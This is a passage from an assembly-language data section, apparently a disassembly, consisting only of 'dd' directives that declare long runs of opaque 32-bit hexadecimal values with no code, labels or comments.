32BB8083h, 0A8AC28h dd 689DB36Ch, 0E81AE303h, 10BB6000h, 0BE2869E2h, 0EDDC14C5h dd 80818271h, 88331F93h, 2E17FD9Ch, 0FCFC669Ah, 0C8390D27h dd 5AA4C359h, 0ED808897h, 0FC644C00h, 8349EFA9h, 0C4520633h dd 0F64096D0h, 0D4008CA6h, 8A8CD25Dh, 0A4E1C01h, 0FF59CD98h dd 4ADB1686h, 92CE817h, 17026DDh, 1D5C3609h, 19B681F1h dd 0C7D4DC8Fh, 46A095Fh, 0BD528D0Fh, 2A9D89ECh, 0C002F96Ah dd 20D17D90h, 2E827F40h, 0E860530Ah, 66004A0Fh, 237BC62Fh dd 0D1B902C0h, 0E1E63042h, 3A5B3FE1h, 23946220h, 611A00EBh dd 0EFF54929h, 5F1DFFE5h, 1583A5B7h, 0FA54988Fh, 0D920C659h dd 63509202h, 80663B5Fh, 70C19CE9h, 0CC3576h, 8B10699Eh dd 0FAFBB1DFh, 9FE42B13h, 0EE8BC61Fh, 0BA3A1059h, 0B27B1EFFh dd 97F787Ah, 34F1F793h, 8EB91410h, 763EA301h, 81952B58h dd 8A09D27Ch, 72DB6AF4h, 0DA49E07Bh, 6B2D5CBDh, 140B7110h dd 22DCF1B3h, 0D17D99E7h, 1C1818h, 0F899255Bh, 21419531h dd 5F7B1C8h, 0B05DBD8Bh, 5638682Ch, 50CA0786h, 0DEE06652h dd 2BF310Fh, 146E2D33h, 0F5A3585Ah, 368079AAh, 5036FEB5h dd 0B718E253h, 650028B7h, 28A058FCh, 716328D3h, 1612F2CCh dd 80600B6Ah, 0BE5C233Bh, 0A59E4304h, 9A82613Ch, 538DA9B4h dd 0A34870EDh, 77B6AD07h, 0F4909BDAh, 880FE9C8h, 63009771h dd 980E95D5h, 0B1408Dh, 81A2B796h, 50CE8B16h, 0F9CB8A34h dd 2EB8CCA9h, 0A7A07D04h, 0F78C4F02h, 0A793Ch, 0E67AC514h dd 0C95256ABh, 0CD549912h, 1B201016h, 72CB0BFh, 0CA8145EFh dd 57A8902Eh, 0BE54B58Dh, 0F5EE8B8Ch, 0E880819Ah, 0EEA096D1h dd 5914BDBAh, 7DF047C9h, 3846BF14h, 8B1E7FEFh, 0B98F96FAh dd 4FBA8084h, 0FA23E765h, 0C6B80C60h, 0FA5A1D11h, 27BFE394h dd 0EC3FE495h, 301341D1h, 0F7118Ch, 9A25DD80h, 6E084456h dd 135613Eh, 422E3A5Ah, 7622B58Bh, 0FA2CE44Ch, 67DF1EBDh dd 0D4C466C6h, 600B2DE5h, 15E97902h, 0D7F6B800h, 610A04D8h dd 0F8207E80h, 0CB942AD3h, 8DB58916h, 0CD606982h, 710AE089h dd 477888D7h, 8B9ED801h, 20468DFEh, 6FC0285Ah, 4ADB3C08h dd 0F74F73EAh, 61124FBCh, 0E3FD0945h, 9700703Fh, 0C8CA3C89h dd 179D097Bh, 0A601788Eh, 8083EAE7h, 0AEB5E20Ah, 0C226E9F8h dd 41BD093Bh, 405AE6F8h, 7001C96Eh, 802DF2F8h, 0D7507438h dd 193BDBB6h, 0E82D1F86h, 0F100FB32h, 0BE0997Dh, 0F5009ABEh dd 21023972h, 1720FED8h, 0B06B708Ch, 18414DA9h, 8A241A30h dd 485A8678h, 0CF85629Bh, 0DE40C3CBh, 185CAE24h, 3EA97712h dd 0E9E01CECh, 0F980479Ch, 84DC6535h, 14D10013h, 4BA8862h dd 4664FF0Eh, 3D0D2F74h, 0BF6F6A2Eh, 49D03D05h, 0C4F0AD5Eh dd 3B090BDDh, 8391261Bh, 0A3442A65h, 18A0599Dh, 0DCAABC40h dd 0BD839C13h, 0B95E4595h, 0C0E92035h, 49077FBCh, 5B5DFFF3h dd 244ECE9h, 5CF0DAD2h, 17F4503Ch, 0AA450E40h, 0E6D00034h dd 0DA292001h, 7D07EF1Dh, 5B25BA66h, 0B76BE819h, 0D0B504FBh dd 0E3EB8503h, 3114E2DAh, 9A0417Ch, 0A8AC0502h, 0C65A1F20h dd 0EB8078DEh, 0B48B8753h, 0FC9EA1B9h, 2FEAA40h, 0E8F7C780h dd 33C5017Fh, 0B660CB0Ch, 1DE30B8h, 504291BFh, 7142F1A1h dd 0FED81819h, 0D0EB1361h, 7879C857h, 0F786DB04h, 0BB85F0FBh dd 0E2B5EB09h, 0D162597Ch, 2F301919h, 1853126Eh, 9E0488A6h dd 709ACB00h, 0E70C8FC9h, 952E1ED7h, 5BCE4009h, 4E0E335Fh dd 6ABA36B0h, 24B65002h, 61C00B59h, 17634D39h, 2C211D10h dd 50096B61h, 0C17E81B3h, 3166F52Eh, 33080122h, 2D183D8Dh dd 80548192h, 0A04912DCh, 3B3F833h, 71BD0B20h, 468F500Eh dd 0C6811ACAh, 0BF417D1Ch, 7B0ECF2Dh, 33FFFC9Ah, 99E09BE6h dd 0D511A992h, 231D0DE8h, 859C8FFFh, 964DC680h, 337B7E1Bh dd 398D2909h, 68AEA02Fh, 81801F69h, 10532B8Eh, 5AEAC8h dd 34D64402h, 0D36C2E7Ch, 0B2564724h, 69780325h, 6E3E4B9Fh dd 37250F79h, 0A3BAA19Ah, 2D24DAF9h, 2D8D2F89h, 0CCFF0A85h dd 0E5248014h, 2A2505C1h, 8B944DF5h, 8CB9C1ECh, 90FDACC9h dd 3DD203Eh, 0EF00014Fh, 94290271h, 5E0F5074h, 8A0C428Fh dd 0EB4090D3h, 0A1B620C1h, 6AB760E1h, 54F95970h, 0F090E823h dd 955074D3h, 221F86B7h, 4F9D961Dh, 0DA5DF201h, 0B86C6B8Eh dd 0E021F6D3h, 0B890F396h, 8EDA5EEDh, 0C01A8861h, 8ED0CC07h dd 4AF0E317h, 0C7B9A50Ah, 5AED9542h, 8BEE0F2Bh, 3FB8E9C0h dd 1200BA58h, 0A0E171Dh, 5EB8A28Ch, 11B87A3Dh, 54A8B155h dd 9529128Eh, 18EDA135h, 334BB6F9h, 6B80FADBh, 0D180CCE7h dd 8BB42D69h, 12AB6682h, 3A58E0FBh, 91423E4h, 0F6F2E860h dd 0EFCFB300h, 0E1810F1Fh, 0D08B03B5h, 8C25B1Ah, 0B1C3A087h dd 416935CAh, 0B94F8286h, 2458D232h, 23182Eh, 0B7D1C281h dd 897C68C7h, 260B2EF1h, 0F0A627BAh, 0EC73EA96h, 14C22483h dd 79651184h, 5210E7FFh, 500925CAh, 0A5AFF64h, 2F89DDE1h dd 3BA69417h, 0C22B580Ch, 6D98F01Ah, 3813C490h, 0AB35A4Dh dd 50018C48h, 81D0033Ch, 9345D93Ah, 42238419h, 1EF0852Dh dd 67D95CE9h, 9DD0C88Ch, 34031540h, 0D14F3C40h, 317B5D0h dd 12ACCF8Bh, 50C4069h, 1C5BF86Dh, 0DCD103E8h, 4D1B5B20h dd 121008DBh, 64142E01h, 59CCC8Fh, 8C04C483h, 8B4C5161h dd 81100573h, 1418B0A9h, 243359B5h, 85FC3C0h, 0E0B22715h dd 50775624h, 93BC6847h, 0A8774DA5h, 7B279530h, 0D3EBBC25h dd 5F9B604Bh, 4AC49F89h, 0AF9AB800h, 0F92AE11Bh, 33D802DCh dd 9D629391h, 9F404D6h, 0F3BB9F64h, 19900895h, 0E8B138C8h dd 0EC042A35h, 0EB3266Ch, 381417F1h, 0B0460920h, 0C925893Dh dd 0DEDEA10Ah, 488FF4Fh, 0C65B00A7h, 6612ED9Fh, 787A1D0Dh dd 249AC595h, 1818820h, 0EDE8F885h, 0DE26C0A1h, 3C15CDF1h dd 0DE0592B1h, 91B40419h, 2E0096DDh, 0CC01DCD6h, 23B35497h dd 0DC6CAFF8h, 0EB606280h, 9F091AE1h, 807E08D1h, 8FB8F4B3h dd 3DBA0C85h, 29D782E8h, 104ED990h, 0BD717493h, 89494F08h dd 8156BD33h, 3B65E88Dh, 73C9EE43h, 97FFB228h, 0C1C7E56Dh dd 806EC043h, 4CA40A0h, 2DB52994h, 0DE810009h, 1A1554A8h dd 7D27E834h, 5DC8BDEh, 0E18D01E5h, 7D710912h, 4E5331A9h dd 1DFA570h, 0A62FC6EBh, 2B1D8D09h, 9CD3B593h, 7546C812h dd 0D26EE200h, 0DBDF157Fh, 82A764CFh, 0B87BEA41h, 583DB00h dd 0C2BE0325h, 0C1D97506h, 0A7F94E8h, 0F418D29h, 52051377h dd 0B89ABD77h, 0CD85501Ch, 0FEBE00E7h, 0E8235667h, 0EF95065Eh dd 0FC6F4287h, 22658A40h, 58A94384h, 8C1BB8E4h, 0A252B900h dd 0C8A5464Eh, 266F43Ch, 0E85FF78Bh, 9F5E0608h, 28BC00F4h dd 7C26C82Fh, 645CACA0h, 0B7C2C00Eh, 0C5C6B52Eh, 485FCF6Eh dd 0CD2901B8h, 73C17180h, 24DAA9A1h, 67A09Dh, 0F53AEB03h dd 811A1E12h, 6D57B5E8h, 7ADBE61Ch, 41A3120h, 35366BEh dd 68E217h, 0DA506123h, 9A3A6Eh, 1A8DC29h, 1A03E192h, 48BD8B2Fh dd 6BE8594Bh, 0DE908F6Eh, 1E01CB32h, 7F678B18h, 72933090h dd 3896E2D9h, 6FE84031h, 0BDA23F4Fh, 0F29029E5h, 8CB62355h dd 3B1AB2A4h, 0E94AC029h, 0D9A0A9DFh, 9B5F6D28h, 0F94C838Eh dd 0C7523C9Eh dd 1300C524h, 808DDE05h, 9E634A77h, 0F1D31236h, 9C9FF4E9h dd 126ADB03h, 0B0581D2Dh, 63C5D26h, 6C53225Eh, 8D20CAC6h dd 5160251Fh, 9F38D010h, 5BD92F07h, 3320FF40h, 55F5C19h dd 0E861C78Bh, 0D5968CB0h, 2C090F40h, 85D77195h, 0A7049FE8h dd 6665A197h, 546E067Fh, 0A54E6608h, 9B2FFDA1h, 71C09F68h dd 0B4829C94h, 3225901Bh, 4AAB32CDh, 20DE702Ch, 0A92C2F96h dd 26F68012h, 5447CBBh, 0B25751F6h, 0B336006Ah, 2891C685h dd 1E5903AAh, 8EC0B9Eh, 335417E0h, 0F8176D71h, 6BB6B05Fh dd 312310F1h, 6000F6F9h, 1280F98Bh, 0A86115F5h, 0E96E4F1Bh dd 1D5BDF25h, 2721C108h, 0C3209E8Fh, 0D295C5BFh, 11A1144Ah dd 80AA9B2Eh, 922A806Fh, 404B79DCh, 8A25EE5Dh, 9D485863h dd 80CF7A4Dh, 23CE08C1h, 0BDAB48E5h, 169D7579h, 0F6D82B1Ch dd 701AE07Bh, 206BEB49h, 17EC28ABh, 29622707h, 0A5E9F8B4h dd 0DB0559F2h, 0BE6F241Ch, 0ADE1252Dh, 0FDDC3B13h, 0D690B55Bh dd 0B700243Dh, 0E082D050h, 1C28879Ah, 87D60C30h, 0DCE3AEBCh dd 8D17CB90h, 0EDF32D95h, 0F8301DE2h, 36140045h, 26EA8E39h dd 0F27AB0Eh, 0A0C486h, 0BE1A89F1h, 5D07294Eh, 42D185ABh dd 707DEC04h, 1278563Ch, 5DA1559Dh, 0E01D969Fh, 26800F25h dd 934AF976h, 9C3C7825h, 297DE4B0h, 99805D8Bh, 0D2FAB7B8h dd 1C510D03h, 1BC88B7Eh, 5B2075B2h, 19D449B2h, 87F91025h dd 8E29038Ch, 9D9F761Ah, 0A20158E0h, 21EA1B01h, 0FFB531B0h dd 0A860E098h, 75820719h, 363D2F90h, 8A7CB004h, 0C280A491h dd 0A0899F42h, 4A5EC8A8h, 624FC861h, 0B7DC3E00h, 0F3AAFA18h dd 8A630316h, 0DDC5891Eh, 628BFD3Eh, 5315E1B8h, 583AD08Eh dd 0DEA0FE0Fh, 591C90Ch, 266B1A70h, 0E0CDA900h, 3467FA3Fh dd 85A0DF28h, 0D915C92Bh, 40276DADh, 56FDEABFh, 36A5EC0Fh dd 3125760h, 68C17494h, 0F8FB585h, 0D5C43361h, 2D468826h dd 35BE6688h, 0B0E20780h, 34611512h, 0BDB50399h, 883A8165h dd 0D6005718h, 862BAC35h, 3802DC7h, 233C3078h, 0C7ED8CD3h dd 0ADB51167h, 7E8BAA1Fh, 6D972A77h, 825AE1BCh, 4877360h dd 0AC9ACFB8h, 9D60CA87h, 36958B46h, 0CEEF2B29h, 0F6BF0F1Ah dd 74837CCAh, 0E001746h, 1FCA6EAh, 12520D8Dh, 2139109Eh dd 81BD2905h, 1AE54B28h, 0F270A3FBh, 6619F68h, 590A2320h dd 917498E9h, 0D8699332h, 340130E0h, 0E1CE96A6h, 3E0912E7h dd 0C4002C6Ah, 8DE53579h, 0D01723CBh, 6AE0837Fh, 14A04C5h dd 2621D185h, 95E92FCCh, 10F24E93h, 0BD896581h, 4C47737Dh dd 8C18E856h, 7D683906h, 287EE88Ah, 4282241h, 0F162CABFh dd 0EC55E872h, 0F1138C16h, 2D13D31Bh, 27A54E04h, 7156291Fh dd 0E4181Bh, 438B542Fh, 0B3A1E1Dh, 8015B52Fh, 0A7D78144h dd 27DD0BEDh, 92B7C58Ah, 0A8094796h, 2DFEFEA9h, 0FF42AA4Fh dd 9B51A9h, 9A91082Ah, 0E40EC6DEh, 4CB5B248h, 8214BE33h dd 99D0697Bh, 81468412h, 222021B4h, 0AD4219B0h, 0FB3E62D9h dd 276278D8h, 0D12F8702h, 758C0FF8h, 80E64818h, 0D4D2C269h dd 41536951h, 97EB370h, 6F55F49Bh, 504E45D8h, 10B1D88h dd 652E2753h, 2F9642C7h, 71E7CE90h, 48DB24B9h, 4F1AF671h dd 203C2CD8h, 0B4BE1D38h, 88950CD7h, 7DE03215h, 64E0FE8h dd 110E926Eh, 368BD33h, 0F2724027h, 0B5CD0A21h, 17D5614Ah dd 0C0B89169h, 0F7228005h, 52501ECFh, 5FD8308Bh, 298509F9h dd 0CD97EBA4h, 0EA7BE347h, 70028EE8h, 5DB633F2h, 73BC9F40h dd 191F832h, 0A2121192h, 0C8A5DD8Eh, 6878488Ah, 6AE4BC16h dd 7EF033B6h, 4302B44Ah, 0AFDC9694h, 79B2E0CDh, 3AF5811Bh dd 0C34C8BCDh, 5F6F00E6h, 706EF0E7h, 2E1CA93Dh, 5A678D37h dd 7025BB99h, 0E596CCF0h, 0F977EB40h, 67BA00E7h, 8117F674h dd 0C007B431h, 79731960h, 0BD87B9D4h, 5B022D24h, 0C47D1FFh dd 4C601844h, 0A3283045h, 0E317F855h, 0C2A3A20Eh, 80440120h dd 0B771FA23h, 0FA022224h, 1AFDB020h, 0ED620043h, 0C39C23B7h dd 90CD6ADh, 0A732B1BDh, 20574A90h, 61978F29h, 0E0623C00h dd 0BD284ABAh, 3DE904E3h, 0BF5B38A8h, 0BF66CA00h, 590FB4F8h dd 6A1E7431h, 48B8C441h, 0CD09BF67h, 0CFDECD90h, 42E7D180h dd 31E0E5F6h, 34BD2B8h, 0F158444h, 100F2E1Eh, 9CE9092Bh dd 586DDC0Ch, 82823287h, 16B98Eh, 10759D03h, 93889EBEh dd 0DF800092h, 536090ADh, 6343AA9Eh, 3957F009h, 190A00BDh dd 4116D1A5h, 0CE005C99h, 0BF605A8Fh, 72BB3274h, 0E747074Fh dd 1A6140B5h, 860F8696h, 84EC4F06h, 0BA7651A2h, 13266E88h dd 2092EC90h, 0CBA5BE1Ah, 9FC0CA4Dh, 269DDEAh, 96D52A95h dd 95FE5B3h, 0FB16C2C6h, 8B0F0BD0h, 118999D1h, 6923DE51h dd 25DEDB76h, 6350412Fh, 6AA1A395h, 0DDB588FFh, 0F4ABB41Ah dd 6A565301h, 7F99D89h, 11351022h, 1690CDDh, 15ED80D9h dd 0D10183B2h, 0FD06FFD6h, 68B1C45Ah, 27B0A526h, 0BA007012h dd 0E4D522CBh, 0DF0ECF71h, 0CCD42AE9h, 2227E294h, 262E070Bh dd 51599ACAh, 0DC7C70A7h, 0B6270F08h, 0C1A399C8h, 2E49C041h dd 2FAC893Ah, 9196888h, 0C51F055Dh, 7FC13B89h, 2C00718Bh dd 0C82B0333h, 0D8CDD780h, 9C8D0FD1h, 0E9FE42BFh, 516D99D7h dd 85A90FFAh, 7C4BFDCBh, 162923E4h, 2027ED8Dh, 360072Dh dd 2AE1B516h, 0D86188C8h, 3BD9601Ch, 16FED064h, 93380024h dd 0B675D182h, 53510F7Bh, 50842A4Ah, 5B5C76AAh, 84204895h dd 65518A3Bh, 8EB1E800h, 984DD3F2h, 0BF72002Bh, 766B1D3Dh dd 25A1A583h, 0F5C33FEh, 67658Eh, 2C86AE89h, 0ED240383h dd 0C81D9DF9h, 0D80F2DCh, 37E9E1B7h, 12B58DC0h, 0BD0EBDD2h dd 589ABC3Ah, 0AB06CA22h, 464D5772h, 4540B4B6h, 0DE0BC0h dd 29B74385h, 0DDE124F7h, 0CB7B6E05h, 75AF5301h, 844BDA48h dd 180B48Bh, 910713B9h, 0F3E70AE0h, 14FC17B3h, 0D9CF15D1h dd 8784E936h, 250865B5h, 0C4AF3659h, 6EC89FB3h, 2B802961h dd 0FEE3A0D2h, 0C23318ADh, 83D0B2D1h, 7504E90Bh, 8000B7F4h dd 6EA97D41h, 0CE12424Fh, 22089815h, 0F473A791h, 4031FE72h dd 880D869Fh, 0B2A91FD6h, 0FA343FB9h, 173520BBh, 51143003h dd 7A8CD49h, 77BBE307h, 0EEC9D28Eh, 0B808C47Fh, 0A8F64E3Dh dd 6A3BC7E0h, 0FB7F205h, 0E481FBBFh, 5F842049h, 3E01198Dh dd 0F9131423h, 0FE0012E2h, 0A02634B0h, 8A00FD36h, 0E5DCD468h dd 39505F8Eh, 180DC28Bh, 0E308C103h, 190296A4h, 12405848h dd 80C2D77Dh, 2DF72A29h, 0B795EB52h, 0B8F90EA5h, 1A084F11h dd 9F72C0Dh, 605B4DD7h, 5B82D0h, 9C066C93h, 0B7AF6654h dd 0F680CD99h, 0DE4F3A05h, 81450761h, 80BA8CF3h, 29E1FF39h dd 341B512h, 1009F9D1h, 4C807953h, 1910558Bh, 11A5808h dd 45F09BD7h, 61D1B70Fh, 81011D48h, 22DB157Eh, 37406380h dd 0F2543CFh, 60D1A089h, 0A6EFE280h, 53035C38h, 0DE2BE976h dd 0E00C8FE5h, 2BBDA0F3h, 9B604B31h, 2808B8Dh, 919114Dh dd 442F99DCh, 0DDC0006Ch, 0C513F8F7h, 4C02B34Fh, 80D4F9F2h dd 0D169D1E1h, 7EF51916h, 0A3F457Eh, 0BBD07C9h, 6F60901h dd 4D5802DEh, 0D88B3168h, 0DA7DC0C1h, 0DF0FDB0Ah, 0FEED2E33h dd 961B3767h, 803DBCBDh, 0A008D39Fh, 3AD00078h, 0D7163F6Ch dd 2E02B997h, 8A0BC5C7h, 0E00409DEh, 66500024h, 9C5101BBh dd 71063B1Dh, 903CD5D1h dd 0D9DAA6CBh, 3FF05ADh, 892A911Fh, 0DF0030F9h, 0D09BA7E5h dd 0B474F3D5h, 82B28B09h, 0FEE91977h, 5113EC22h, 0BC00ED5Fh dd 97F601F4h, 0C430D0CEh, 7422D73Eh, 40D4960Dh, 766D12AAh dd 96A4CCF1h, 34705BDh, 8907718Ah, 7FA81D85h, 503EBF87h dd 952934F0h, 12D4554Dh, 5561BE9h, 22999E0Ah, 3915850Dh dd 4ED5088h, 1814C71Ch, 0EABB017Bh, 19B58BC0h, 0E1851641h dd 49E6FD55h, 0EF0C77E0h, 7B601200h, 32E78135h, 8933736h dd 93F09A88h, 1574E489h, 71429B8Ah, 46164428h, 2DFEE1A9h dd 285A51ECh, 3EEC414Dh, 2434B1C1h, 0D919D086h, 0D1CB56FFh dd 2ACF040Bh, 2506807h, 9B668D09h, 0A7B08701h, 633D792h dd 0AF19017Eh, 7E731603h, 0EF0F116Eh, 13C1E92Fh, 2ACDC85Ch dd 2609CFCCh, 941C0D85h, 0F1D6ED8Dh, 909ECC76h, 5AB7E4C6h dd 54E850E2h, 9B601F72h, 5125286h, 0ED5FF8D9h, 90657683h dd 14F1C166h, 4C232659h, 63C02D0Eh, 91AC1BE0h, 0EE0BBFD6h dd 7B61D0BBh, 8809712Ah, 9213174h, 0D59B85C7h, 41DF2948h dd 31343471h, 18DB18D6h, 0B0416FC0h, 8B90A011h, 0E9BC2297h dd 42015C21h, 50010D2Dh, 41300C30h, 1E01E644h, 0B310E8C1h dd 4C83020Eh, 295803F1h, 0EBE70D08h, 4DE3636h, 16EE3964h dd 29501B33h, 18214028h, 113CD58h, 801B0957h, 0D3BBC0AEh dd 0B1346D71h, 51854175h, 24DE3E04h, 0BD0B4B80h, 0DE822011h dd 4D85C1B7h, 0D12C041Bh, 453BAF16h, 98D81BAh, 38D5290Ch dd 0CA4241E1h, 0D36D291Dh, 8EA6DCC0h, 30AAB819h, 955712E5h dd 4F9D083Dh, 0CADC4063h, 0AB271468h, 0A80779BCh, 32D5316Eh dd 9611B5C9h, 0BFF1C7BDh, 0F9B70480h, 5C8CBF96h, 0C623BC24h dd 0B76FFB1Eh, 3C8E0031h, 94EB05E1h, 99131E2Bh, 211E9524h dd 417A7AA8h, 81144DACh, 4981A9EBh, 121D12A7h, 83A0DDA7h dd 0BD2A232Bh, 8917AF75h, 64E2C486h, 16BAFE25h, 3FD6215Ch dd 6ECEC283h, 0A5B6026Ah, 0C82D9D29h, 1C78121h, 12C26C0Ch dd 2A205089h, 0C83759Bh, 32D0B1EDh, 1044E9CEh, 0A641078Dh dd 500E5CD9h, 32DD5D21h, 3CD04A0Fh, 4A127643h, 0BAEEE902h dd 459ECF0Eh, 0A2B8016Bh, 6AB2211Ch, 278BDA8Ch, 92A4499Dh dd 7932B586h, 21B88Eh, 514EC711h, 0A57FBBDFh, 6A302C13h dd 9DBC44ADh, 0BE49890h, 1CD1F693h, 3D53FC19h, 5031A01h dd 8AB935A5h, 0CFDD807Eh, 0B3B6B2EDh, 1DEB76Ah, 0F36EC510h dd 0D498D91Ah, 9D258D89h, 0BF3E2105h, 2C757684h, 0B2DB7842h dd 0D4BEDC6Bh, 0F2C82B17h, 0F9F8530Fh, 64C2F5C4h, 21913BC4h dd 3B233042h, 27BA2CBFh, 0EA467185h, 0D2913001h, 9A73A4F8h dd 63222EFh, 0BDC81ECh, 32C35F1Ah, 0CEB5555Eh, 26AAB01h dd 29739BB4h, 2DA00300h, 0BE632AB3h, 2EF32205h, 0EEE20119h dd 23F8A700h, 0CBB4326Fh, 0B9C34802h, 46605F82h, 0F5D0EADh dd 3280F423h, 85D8EECAh, 0F8319D02h, 0F1EA613Dh, 83AA44Eh dd 513F2781h, 736ADEA1h, 0D0B77Dh, 8DCC32D7h, 3FB4870Fh dd 0F66EDF45h, 2D091523h, 5ADB8B80h, 8360B7CBh, 0B6CDB6EBh dd 0B75B178Dh, 0E74E35CCh, 274D03Ah, 36D8F7F3h, 0F123400Ah dd 2028117h, 0F7812021h, 382C133Ch, 0C5080E22h, 0E5D32F2Eh dd 16399504h, 0A891C60Bh, 0F08315A1h, 221CECB9h, 0C16193A0h dd 0F465E90Eh, 0D38021FFh, 0D6EA8B7Fh, 0FD06DC9Bh, 0C7382E90h dd 6169305Ch, 0EC0BEFEAh, 0DBD5BA95h, 0F94951C7h, 24E72503h dd 50802FA8h, 12F84E8Ah, 8DD18834h, 2E0937ECh, 0E3DFF435h dd 0DE809816h, 20A2B8E5h, 0A4C319E1h, 4F4129BBh, 0E076F622h dd 1F26DD6h, 8C3BD170h, 3A27FFBDh, 39BB78D8h, 0AD852B9Fh dd 2636F79h, 0F40F587h, 81A9B777h, 0D97379DAh, 0D7C2F527h dd 705D417h, 0F6927CA9h, 5CCEA0BFh, 1F20F9F5h, 104119h dd 904A9EE7h, 8020E848h, 384C4173h, 95FF2C5h, 9010B350h dd 0A470C6D3h, 6B0902Eh, 114C7480h, 6C9448F5h, 895709DCh dd 45221B5h, 0DE6DBEh, 3E390603h, 9B90F069h, 0C6E99625h dd 0FF3A950Fh, 0D44B7Eh, 0F0A31DC6h, 0CCAA8D8Ah, 85095004h dd 0EEAC12A5h, 0A8958493h, 292CA2CCh, 0CC61EB09h, 66900213h dd 6C7203DFh, 56365B37h, 21A715A0h, 7AC54B58h, 0B0D2A9BFh dd 0FD8D29C5h, 0B747D12Ah, 782C2B0Eh, 0D84041FFh, 501213EBh dd 9DB4233h, 559BA580h, 8F500F4Ch, 6613605Ah, 6716F38Bh dd 9561A2B4h, 7C90A299h, 59409FC9h, 0ACC1C05Bh, 8F343A97h dd 64639FAh, 0E4E6AD25h, 0AC48AE00h, 51DA354Ch, 3900433h dd 0AC0961BDh, 24A3A485h, 0E19D3304h, 0A466AC1Fh, 366EEAh dd 800B92D3h, 19532CB6h, 0F21FE676h, 84352BDAh, 0CFBBB803h dd 0E0BDDD6Ah, 6700D7B8h, 0B2C23DCBh, 98D0D137h, 45299F99h dd 1A499082h, 48F438FCh, 0A910B37Ch, 395C6213h, 51915603h dd 0CC6E0988h, 8848666h, 22F98D09h, 7F48B017h, 3F46A508h dd 465F512Dh, 0E6F512E0h, 0D9980B70h, 0C2C3414Ah, 71E47901h dd 9523F960h, 6103927Eh, 3E9BAE56h, 0A59D9947h, 172A4965h dd 522313A4h, 2CAAA699h, 2A10A029h, 7F9AFA6Dh, 4A8BB98Ch dd 0BDA7D0D9h, 7E8419EDh, 82D844FCh, 844282A6h, 45FDBC50h dd 53790128h, 6AF6615Bh, 0E0095F4Ah, 0A7C94A38h, 4221F920h dd 819F5013h, 946F63Dh, 5A610833h, 0BC15F3A8h, 0C89C808Ch dd 34F08Dh, 0EE7AFDE6h, 0AD656C48h, 60E29813h, 7D00CAA2h dd 0F8677EE7h, 0A8008463h, 0CF4F1179h, 0F4EC144Bh, 0B9C80198h dd 0E95F6189h, 0F8379290h, 5C005DE2h, 9939BBDDh, 60BE5E4h dd 5E0A5B3Bh, 38596B63h, 569D8800h, 6171CCh, 0C13A4FD6h dd 0BF7BF266h, 6099FD09h, 10EC5978h, 84138859h, 0C09030BCh dd 9156D8BDh, 0F9F5800h, 313D4855h, 20240518h, 9A58372h dd 0C1D1FE3Eh, 9C9E200h, 89AD7Ch, 0DB2E454Ah, 4D5C062Ch dd 38CB4400h, 0BD331B7Ah, 450D41C9h, 9531ACF8h, 8C0F16E5h dd 0FFBFC94h, 0AAC4DF79h, 830AB95Fh, 0ED0EC6BEh, 2AC1D49Bh dd 20B0F049h, 10B72547h, 448A0FBCh, 9895FC01h, 7E8D31FDh dd 0B0CDDB9h, 0FDEF0DF1h, 75147240h, 0BFFE02FBh, 479BC2A4h dd 0B725055Ch, 0C66D0019h, 0D09E75C9h, 0A06E200Bh, 0DC0276FCh dd 2E2BD400h, 368D5EA1h, 820EB7C0h, 22240648h, 0D6400211h dd 0C02B2761h, 0BB0961B7h, 317D82C9h, 0D22B0210h, 14E5CA40h dd 785D5682h, 504ADF80h, 82895E9Bh, 0DB00FC71h, 1673609Ah dd 14B800E3h, 9DEE097Bh, 0C0153AECh, 166CB6h, 2DE3A1EDh dd 0F3C284h, 4027654Eh, 916C14CBh, 0D011609h, 1C4E9688h dd 25099D89h, 0FBA72FC5h, 28235009h, 40231A97h, 820AF9B8h dd 9756FA54h, 0DCC0746Dh, 2FF6717Bh, 0BD0953CAh, 2E4F4F41h dd 88251E28h, 15259D23h, 1E53EC14h, 0E5D5BD01h, 3A008CEh dd 0FF802179h, 0CF8102E1h, 464C20D3h, 0AE51D756h, 6E4ED26Ch dd 0B6C10143h, 9E78073h, 9BE8282Bh, 0EFF7044Bh, 0B8E4F6A0h dd 0D3059F7Fh, 96E6621h, 12D317EAh, 8DE8A24Ah, 8104712Dh dd 60ABD2ABh, 0BE71DD53h, 0C7C6152Bh, 1E5865BCh, 856EC05Bh dd 6F0BF953h, 2B808AA1h, 30176FEEh, 9FE96500h, 8A192DD6h dd 0E1802FF8h, 40EF2DCDh, 1EAE518Fh, 306C28C5h, 926FB684h dd 0ED340757h, 0FB5A195Bh, 0EE02247h, 0B54A98A6h, 0A286F9D8h dd 25315623h, 9DECFF46h, 5C02592Eh, 5F0F4942h, 0DB80DB98h dd 62DE6A5Ah, 8720FF83h dd 62AEE800h, 37D3C468h, 596C861h, 0AF9904BFh, 16BE6BF0h dd 284B0CDBh, 144A8B24h, 0E4C01EBDh, 0C93890B7h, 50F6C713h dd 5F2568F3h, 19BC8E46h, 511F02DCh, 3A89BD5Eh, 0C419A70h dd 17F9F941h, 0DBDB752Bh, 0E6CD87F4h, 4E1026F0h, 66921744h dd 0A415128Dh, 2A25E98Ch, 0C07E7E02h, 0D39A04BFh, 6C745501h dd 0E27F3F1h, 7294A5E4h, 987D65A0h, 4AABA9F5h, 883E12CDh dd 1A002C49h, 9750D47Ch, 0EB4178h, 0C36522F0h, 0C17A5E04h dd 6259A617h, 0E54B7B30h, 0CC570043h, 32B8A180h, 4A001D17h dd 0DA9DE491h, 97222DA9h, 9400CBE4h, 860D9980h, 0EB1BAC1h dd 5F5B88C8h, 5E4FE552h, 0DEFDD671h, 0A96AD54Ah, 7466E8AEh dd 29C890B8h, 0A5991335h, 0DAE18F6Ah, 509B7A89h, 0FC5AA7C2h dd 916C54Ch, 0CD9191BDh, 0F0140583h, 0BF4B2AF7h, 0B99B8785h dd 0E743FC0h, 77947C49h, 218AAC40h, 981A0050h, 14D0D2F9h dd 0A7ECB793h, 0D6171500h, 0BB5066F5h, 0D5AD0475h, 0FB348946h dd 13009E6Fh, 0C56A6452h, 964C4A70h, 0E2DB2C37h, 0EA12DB3Ch dd 104DDB3h, 4021DD85h, 9131577Bh, 80D84B8Bh, 0EDAC84D3h dd 0E8836E58h, 0E3008C1Bh, 557D15D5h, 970CC57Eh, 0A8BDC72Bh dd 5D33C402h, 0D6045F67h, 8D090206h, 4169747Dh, 15C1A3BFh dd 5C836EFBh, 34C45B4Ah, 6A5F668Ah, 0EA080704h, 6246B590h dd 6E3D45B8h, 32F1EB04h, 38BB6601h, 0F22D2E52h, 25C9369Ch dd 3E1227C7h, 459072BBh, 0F587DF61h, 912E82Fh, 0C5A1701h dd 41E948C0h, 